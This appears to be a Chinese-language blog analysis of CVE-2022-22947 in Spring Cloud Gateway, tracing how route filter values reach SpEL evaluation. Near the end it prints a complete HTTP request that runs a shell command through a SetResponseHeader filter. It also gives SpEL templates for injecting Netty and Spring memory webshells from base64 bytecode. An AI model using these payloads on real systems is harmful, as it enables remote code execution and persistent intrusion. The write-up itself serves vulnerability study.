环境搭建
https://github.com/spring-cloud/spring-cloud-gateway/releases/tag/v3.0.6
漏洞分析
该漏洞造成原因是因为配置可写+SPEL表达式的解析导致的
SpEL表达式的触发方式有3种,xml,注释,直接传参。这里基本不可能是将恶意poc传到注释中,或者写入到xml中,所以触发方式应该是将输入poc当做某个函数的参数传入其中的,而SpEL表达式的解析的方法为SpelExpressionParser.parseExpression()
函数
全局检索这个危险函数
初步定位到org/springframework/cloud/gateway/support/ShortcutConfigurable.java
中的49行函数,此处的的entryValue
为传入执行参数,因此需要追踪该参数的传入路径。
往上跟踪会发现在其自定义的,normalize()
函数中会传从args中取出值放入到getValue()
函数中
继续跟踪发现值从this.properties参数传入
打上断点,使用refresh的会将poc执行触发漏洞,查看堆栈信息
刚开始的入口为org/springframework/cloud/gateway/actuate/AbstractGatewayControllerEndpoint.java
的refresh controller控制器,进入逻辑
接下来就是定位参数值从哪里获取了,因为是分析1day漏洞,知道poc怎么写,大致清楚是从route的配置信息中获取的,这里的值也是从org/springframework/cloud/gateway/support/ConfigurationService.java
的this.properties
中获取的,查看该成员变量的赋值情况
查看传入处,可以定位到definition变量,这个变量是从filter中获取的值,通过for循环一个个的往properties中传
因为该漏洞是多步触发,这个filter的属性一定是以内存,文本,数据库之一的形式暂存的,此次的debug跟踪只能找到读取来源,可以看到从gatewayproperties中获取
接下来看看最先传入的逻辑,也就是post路由
跟进设置处的代码,仅检测url中的路由中的id是否为空,并且会将id设置为route,其他内容可以自由发挥
尝试发送空的json的数据包,符合格式,但可以从log中看到包含的参数有predicates,filters,url,order,metadata
将数据包发过去并refresh,发现报错,报错内容中最后出错处提示需要uri参数
注意: 这时候需要将其路由使用delete删除,不然后面的所有refresh都会报错,也就是说之前的poc如果有错误,需要delete,不然后续即使写到其他路由也会在refresh执行时报错
带上uri参数,就没报错了,并且成功回显了
再次跟踪refresh执行SpEL表达式的逻辑,带上filter参数,成功执行命令
再次请求可以返回命令信息,所以必要参数是uri,而网上公布的poc中的id参数并不是必要的
至于传入poc的参数为filters,debug调试,查看调用处逻辑,在此处传入的合法字段有predicates,filters,uri,metadata,order
这里面的filters和predicates为数组,uri为uri类型并且已经被处理过,无法注入恶意poc,注入恶意poc也会报错,而predicates不会走到SpEL表达式逻辑。
而filters中的name值也有一定的要求,必须是在以下类中的名称,非这个类的方法名称测会在post时候会进行报错
org/springframework/cloud/gateway/route/builder/GatewayFilterSpec.java
整理如下,均会执行SpEL的表达式
能回显
AddRequestHeader
AddRequestParameter
AddResponseHeader
SetRequestHeader
SetResponseHeader
不能回显
DedupeResponseHeader
MapRequestHeader
ModifyRequestBody
ModifyResponseBody
PreserveHostHeader
PrefixPath
RemoveRequestHeader
RemoveRequestParameter
RemoveResponseHeader
SecureHeaders
RewriteResponseHeader
RewriteLocationResponseHeader
SetStatus
SaveSession
StripPrefix
RequestHeaderToRequestUri
最终poc如下
POST /actuator/gateway/routes/a HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:103.0) Gecko/20100101 Firefox/103.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Content-Type: application/json
Content-Length: 267
{
"uri":"lb://httpbin",
"filters":[{
"name":"SetResponseHeader",
"args":{
"name":"a",
"value":"#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{/"id/"}).getInputStream()))}"
}
}
]
}
注入内存马的上下文信息可以参考
https://mp.weixin.qq.com/s/S15erJhHQ4WCVfF0XxDYMg
https://blog.wanghw.cn/tech-share/cve-2022-22947-inject-godzilla-memshell.html
内存马分为2个层级一个是netty中间件级的内存马,一个是spring框架层的内存马,加载机制无非是通过classloader去加载base64解码后的字节码,然后进行运行注入到内存中
//netty
#{T(org.springframework.cglib.core.ReflectUtils).defineClass('MemClassName',T(org.springframework.util.Base64Utils).decodeFromString('yv66vgAAADQAjgoABgBL...'),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).doInject()}
//spring
#{T(org.springframework.cglib.core.ReflectUtils).defineClass('MemClassName',T(org.springframework.util.Base64Utils).decodeFromString('yv66vgAAADQAjgoABgBL...'),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).doInject(@requestMappingHandlerMapping)}
输出成脚本工具
https://github.com/SiJiDo/CVE-2022-22947
原创文章,作者:ItWorker,如若转载,请注明出处:https://blog.ytso.com/281845.html